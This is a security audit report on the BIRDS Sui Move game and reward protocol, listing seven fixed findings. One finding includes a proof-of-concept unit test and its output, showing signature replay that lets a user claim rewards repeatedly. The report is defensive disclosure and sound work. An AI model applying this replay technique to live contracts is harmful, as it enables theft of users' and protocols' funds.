BIRDS

Audit Report

MOVEBIT

contact@bitslab.xyz

https://twitter.com/movebit_

Fri Sep 27 2024

BIRDS Audit Report

1 Executive Summary

1.1 Project Information

Description	A Blockchain Game and Reward Protocol
Type	Game
Auditors	MoveBit
Timeline	Wed Sep 25 2024 - Fri Sep 27 2024
Languages	Move
Platform	Sui
Methods	Architecture Review, Unit Testing, Manual Review
Source Code	https://github.com/Bird0x02/bird-contracts
Commits	1e6f57ad489b790d4770aa30ba0e8d707bd79188 f2a478d4e9cb3ab37164ff81ab101b69add4c7ba 62725607dc65314d6bd467ddf922fb621fc9968d

1.2 Files in Scope

The following are the SHA1 hashes of the original reviewed files.

ID	File	SHA-1 Hash
VER	sources/version.move	673b69d03e6e867b1ebbd8c32be96130f3bfa916
CVA	sources/cap_vault.move	3ec0485728b6fb4faa8135464eb978f4f711121e
MOV	Move.toml	93118a24c946f2fafeae55b17db23e65766fbd6e
BEN	sources/bird_entries.move	4d8903fa1086cd60ab61b65932529457ae0a5cda
BIR	sources/bird.move	2cb401e599fa8006222b066086ca25a03da25a82

1.3 Issue Statistic

Item	Count	Fixed	Acknowledged
Total	7	7	0
Informational	0	0	0
Minor	2	2	0
Medium	3	3	0
Major	2	2	0
Critical	0	0	0

1.4 MoveBit Audit Breakdown

MoveBit aims to assess repositories for security-related issues, code quality, and compliance with specifications and best practices. Possible issues our team looked for included (but are not limited to):

- Transaction-ordering dependence
- Timestamp dependence
- Integer overflow/underflow by bit operations
- Number of rounding errors
- Denial of service / logical oversights
- Access control
- Centralization of power
- Business logic contradicting the specification
- Code clones, functionality duplication
- Gas usage
- Arbitrary token minting
- Unchecked CALL Return Values
- The flow of capability
- Witness Type

1.5 Methodology

The security team adopted the **"Testing and Automated Analysis"**, **"Code Review"** and **"Formal Verification"** strategy to perform a complete security test on the code in a way that is closest to the real attack. The main entrance and scope of security testing are stated in the conventions in the "Audit Objective", which can expand to contexts beyond the scope according to the actual testing needs. The main types of this security audit include:

(1) Testing and Automated Analysis

Items to check: state consistency / failure rollback / unit testing / value overflows / parameter verification / unhandled errors / boundary checking / coding specifications.

(2) Code Review

The code scope is illustrated in section 1.2.

(3) Formal Verification

Perform formal verification for key functions with the Move Prover.

(4) Audit Process

- Carry out relevant security tests on the testnet or the mainnet;
- If there are any questions during the audit process, communicate with the code owner in time. The code owners should actively cooperate (this might include providing the latest stable source code, relevant deployment scripts or methods, transaction signature scripts, exchange docking schemes, etc.);
- The necessary information during the audit process will be well documented for both the audit team and the code owner in a timely manner.

2 Summary

This report has been commissioned by BIRDS to identify any potential issues and vulnerabilities in the source code of the BIRDS smart contract, as well as any contract dependencies that were not part of an officially recognized library. In this audit, we have utilized various techniques, including manual code review and static analysis, to identify potential vulnerabilities and security issues.

During the audit, we identified 7 issues of varying severity, listed below.

ID	Title	Severity	Status
BIR-1	`checkIn.amount` Has not been Incremented	Major	Fixed
BIR-2	Malicious Actors can Steal Rewards from the Protocol	Major	Fixed
BIR-3	`checkin.last_time` Has not been Updated	Medium	Fixed
BIR-4	In the `action()` Function, the Total Quantity is Updated Incorrectly	Medium	Fixed
BIR-5	Missing Validator Fee Logic in Bird Store	Medium	Fixed
BIR-6	Unused Constants	Minor	Fixed
BIR-7	There is no Case where `rewardPool.reward_limit` Can be Less Than 0	Minor	Fixed

3 Participant Process

Here are the relevant actors with their respective abilities within the BIRDS Smart Contract :

Admin

- Admin can update the validator by calling `update_validator`.
- Admin can create a reward pool by calling `createRewardPool`.
- Admin can configure a reward pool by calling `configRewardPool`.
- Admin can perform an emergency reward withdrawal by calling `emergencyRewardWithdraw`.
- Admin can transfer capabilities to a new owner by calling `transfer_cap`.
- Admin can revoke capabilities by calling `revoke_cap`.

User

- User can perform an action by calling `mineBird`.
- User can register by calling `register`.
- User can deposit rewards into a pool by calling `depositReward`.
- User can claim rewards by calling `claimReward`.
- User can claim capabilities by calling `claim_cap`.
- User can sponsor other users' gas by calling `sponsor_gas`.
- User can mint archive nft by calling `mineNft`.

4 Findings

BIR-1 `checkIn.amount` Has not been Incremented

Severity: Major

Status: Fixed

Code Location:

sources/bird.move#209

Descriptions:

In the `checkIn()` function, the protocol increments `birdArchieve.break_egg.amount` instead of `birdArchieve.checkin.amount`.

```
    fun checkIn(birdArchieve: &mut BirdArchieve, owner: address, amount: u64, sclock:
&Clock, ctx: &TxContext) {
        let sender = sender(ctx);
        assert!(owner == sender, ERR_BAD_USER);
        assert!(amount > 0, ERR_BAD_AMT);

        birdArchieve.break_egg.amount = birdArchieve.break_egg.amount + amount;
```

Suggestion:

It is recommended to increment `birdArchieve.checkin.amount`.

Resolution:

This issue has been fixed. The client has adopted our suggestions.

BIR-2 Malicious Actors can Steal Rewards from the Protocol

Severity: Major

Status: Fixed

Code Location:

sources/bird.move#428-468

Descriptions:

In the `claimReward()` function, the protocol only checks that the nonce must be greater than `birdArchieve.nonce`, but it does not verify whether this nonce comes from the same `birdArchieve`.

```
        assert!(object::id_address(rewardPool) == poolId,
ERR_BAD_REWARD_POOL_UNMATCHED);
        assert!(nonce > birdArchieve.nonce, ERR_BAD_NONCE);
```

This oversight allows for the replay of signatures. If a malicious attacker has a valid signature, they can create N `BirdArchive` instances and invoke `claimReward()` to steal rewards from the protocol. Below is the PoC code.

```
fun test_claim_reward() {
        let scenario_val = scenario();
        let scenario = &mut scenario_val;
        let ctx = ctx(scenario);
        let clock = clock::create_for_testing(ctx);
        init_env(scenario);
        next_tx(scenario, ADMIN);
        change_validator(PUB_KEY_CLAIM, scenario);

        next_tx(scenario, USER);
        let pool = createRewardPool(scenario);

        //print the pool address to update object value
        debug::print(&object::id_address(&pool));

        next_tx(scenario, ADMIN);
        configRewardPool(&mut pool, true, REWARD_LIMIT, scenario);
```

```
    next_tx(scenario, USER);
    depositReward(USER,&mut pool, REWARD_VALUE, &clock, scenario);

    next_tx(scenario, USER);
    debug::print(&utf8(b"Claim Reward:"));
    claimReward(SIG_CLAIM, MSG_CLAIM,&mut pool, scenario);
    debug::print(&utf8(b"Claim Reward:"));
    claimReward(SIG_CLAIM, MSG_CLAIM,&mut pool, scenario);
    debug::print(&utf8(b"Claim Reward:"));
    claimReward(SIG_CLAIM, MSG_CLAIM,&mut pool, scenario);

    clock::destroy_for_testing(clock);
    test_scenario::end(scenario_val);
    return_shared(pool);
}
```

Running `sui move test test_claim_reward` reveals that the user can claim the reward three times.

```
Running Move unit tests
[debug] @0x1611edd9a9d42dbcd9ae773ffa22be0f6017b00590959dd5c767e4efcd34cd0b
[debug] "Claim Reward:"
[debug] "Claim Reward:"
[debug] "Claim Reward:"
[ PASS    ] bird::bird_test::test_claim_reward
Test result: OK. Total tests: 1; passed: 1; failed: 0
```

Suggestion:

It is recommended to mark signatures that have already been used.

Resolution:

This issue has been fixed,the client has added a check for `_sender == owner`.

BIR-3 `checkin.last_time` Has not been Updated

Severity: Medium

Status: Fixed

Code Location:

sources/bird.move#204-216

Descriptions:

In the `checkIn()` function, the protocol only increments the `amount` without updating the timestamp.

```
 fun checkIn(birdArchieve: &mut BirdArchieve, owner: address, amount: u64, sclock:
&Clock, ctx: &TxContext) {
      let sender = sender(ctx);
      assert!(owner == sender, ERR_BAD_USER);
      assert!(amount > 0, ERR_BAD_AMT);

      birdArchieve.break_egg.amount = birdArchieve.break_egg.amount + amount;

      emit(CheckinEvent {
         owner,
         amount,
         timestamp: clock::timestamp_ms(sclock)
      });
   }
```

Additionally, `BirdArchieve.last_time` has not been updated.

Suggestion:

It is recommended to update `last_time` .

Resolution:

This issue has been fixed, and the protocol has updated the time.

BIR-4 In the `action()` Function, the Total Quantity is Updated Incorrectly

Severity: Medium

Status: Fixed

Code Location:

sources/bird.move#270-277

Descriptions:

In the `action()` function, `birdStore.total_checkin` and `birdStore.total_break` are incremented by 1 each time.

```
//route
    if (type == ACTION_CHECKIN) {
        birdStore.total_checkin = birdStore.total_checkin + 1;
        checkIn(birdArchieve, owner, amount, sclock, ctx);
    }
    else if (type == ACTION_BREAK_EGG) {
        birdStore.total_break = birdStore.total_break + 1;
        breakEgg(birdArchieve, owner, amount, sclock, ctx);
    }
```

Please confirm whether they should be incremented by 1 or by the amount.

Suggestion:

It is recommended to update the correct quantity.

Resolution:

This issue has been fixed. The client has adopted our suggestions.

BIR-5 Missing Validator Fee Logic in Bird Store

Severity: Medium

Status: Fixed

Code Location:

sources/bird.move#136-143

Descriptions:

In the **bird store**, the `validator_fee_enabled` and `validator_fee` are only initialized during the setup, as shown below:

```
let birdStore = BirdStore {
    id: object::new(ctx),
    total_break: 0,
    total_checkin: 0,
    validator: option::none(),
    validator_fee_enabled: false,
    validator_fee: 0
};
```

However, there are no operations to modify `validator_fee_enabled` and `validator_fee`, and no logic in the `claimReward` function to determine whether a fee should be charged.

Suggestion:

It is recommended to add logic to handle updates to `validator_fee_enabled` and `validator_fee`, as well as a check in the `claimReward` function to determine if a fee should be applied.

Resolution:

This issue has been fixed. The client has removed the logic.

BIR-6 Unused Constants

Severity: Minor

Status: Fixed

Code Location:

sources/bird.move#33

Descriptions:

There are unused constants in the contract.

```
const ERR_BAD_REWARD_ADMIN_OWNER: u64 = 8008;
```

Suggestion:

It is recommended to remove unused constants if there's no further design.

Resolution:

This issue has been fixed. The client has removed unused constants.

BIR-7 There is no Case where `rewardPool.reward_limit` Can be Less Than 0

Severity: Minor

Status: Fixed

Code Location:

sources/bird.move#345

Descriptions:

In the `claimReward()` function, if `rewardPool.reward_limit <= 0` or `rewardPool.reward_limit >= amount`, the transaction will revert.

```
        assert!(object::id_address(rewardPool) == poolId,
ERR_BAD_REWARD_POOL_UNMATCHED);
        assert!(nonce > birdArchieve.nonce, ERR_BAD_NONCE);
        assert!(rewardPool.reward_limit <= 0 || (rewardPool.reward_limit >= amount) ,
ERR_BAD_REWARD_POOL_LIMIT);
```

However, since `rewardPool.reward_limit` is of type `u64`, it cannot be less than 0. Therefore, it is recommended to change the condition from `rewardPool.reward_limit <= 0` to `rewardPool.reward_limit == 0`.

Suggestion:

It is recommended to change the condition from `rewardPool.reward_limit <= 0` to `rewardPool.reward_limit == 0`.

Resolution:

This issue has been fixed. The client has adopted our suggestions.

Appendix 1

Issue Level

- **Informational** issues are often recommendations to improve the style of the code or to optimize code that does not affect the overall functionality.
- **Minor** issues are general suggestions relevant to best practices and readability. They don't post any direct risk. Developers are encouraged to fix them.
- **Medium** issues are non-exploitable problems and not security vulnerabilities. They should be fixed unless there is a specific reason not to.
- **Major** issues are security vulnerabilities. They put a portion of users' sensitive information at risk, and often are not directly exploitable. All major issues should be fixed.
- **Critical** issues are directly exploitable security vulnerabilities. They put users' sensitive information at risk. All critical issues should be fixed.

Issue Status

- **Fixed:** The issue has been resolved.
- **Partially Fixed:** The issue has been partially resolved.
- **Acknowledged:** The issue has been acknowledged by the code owner, and the code owner confirms it's as designed, and decides to keep it.

Appendix 2

Disclaimer

This report is based on the scope of materials and documents provided, with a limited review at the time provided. Results may not be complete and do not include all vulnerabilities. The review and this report are provided on an as-is, where-is, and as-available basis. You agree that your access and/or use, including but not limited to any associated services, products, protocols, platforms, content, and materials, will be at your own risk. A report does not imply an endorsement of any particular project or team, nor does it guarantee its security. These reports should not be relied upon in any way by any third party, including for the purpose of making any decision to buy or sell products, services, or any other assets. TO THE FULLEST EXTENT PERMITTED BY LAW, WE DISCLAIM ALL WARRANTIES, EXPRESS OR IMPLIED, IN CONNECTION WITH THIS REPORT, ITS CONTENT, RELATED SERVICES AND PRODUCTS, AND YOUR USE, INCLUDING BUT NOT LIMITED TO THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, NOT INFRINGEMENT.